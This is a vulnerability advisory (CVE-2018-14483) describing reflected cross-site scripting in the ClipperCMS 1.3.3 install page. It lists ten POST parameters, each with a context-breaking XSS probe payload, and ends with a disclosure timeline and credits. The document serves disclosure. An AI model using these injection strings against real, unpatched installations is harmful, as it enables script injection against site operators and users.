Information
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Advisory by Netsparker (now Invicti)
Name: Cross-site Scripting Vulnerabilities in ClipperCMS
Affected Software: ClipperCMS
Affected Versions: 1.3.3
Homepage: https://github.com/ClipperCMS/ClipperCMS
Vulnerability: Cross-site Scripting Vulnerabilities
Severity: High
Status: Not Fixed
CVE-ID: CVE-2018-14483
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-008

Technical Details - (Install Page)
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URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  cmspasswordconfirm
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F61)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  cmsadminemail
Parameter Type  POST
Attack Pattern &nbsp;'"--></style></scRipt><scRipt>netsparker(0x001F59)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  tableengine
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F65)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  phpdbapi
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F6D)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  cmsadmin
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F55)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  database_collation
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F69)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  tableprefix
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F51)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  databasehost
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001E83)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  cmspassword
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F5D)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  database_name
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F4D)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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27th November 2017 - Issue Reported
11th September 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
--------------------

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.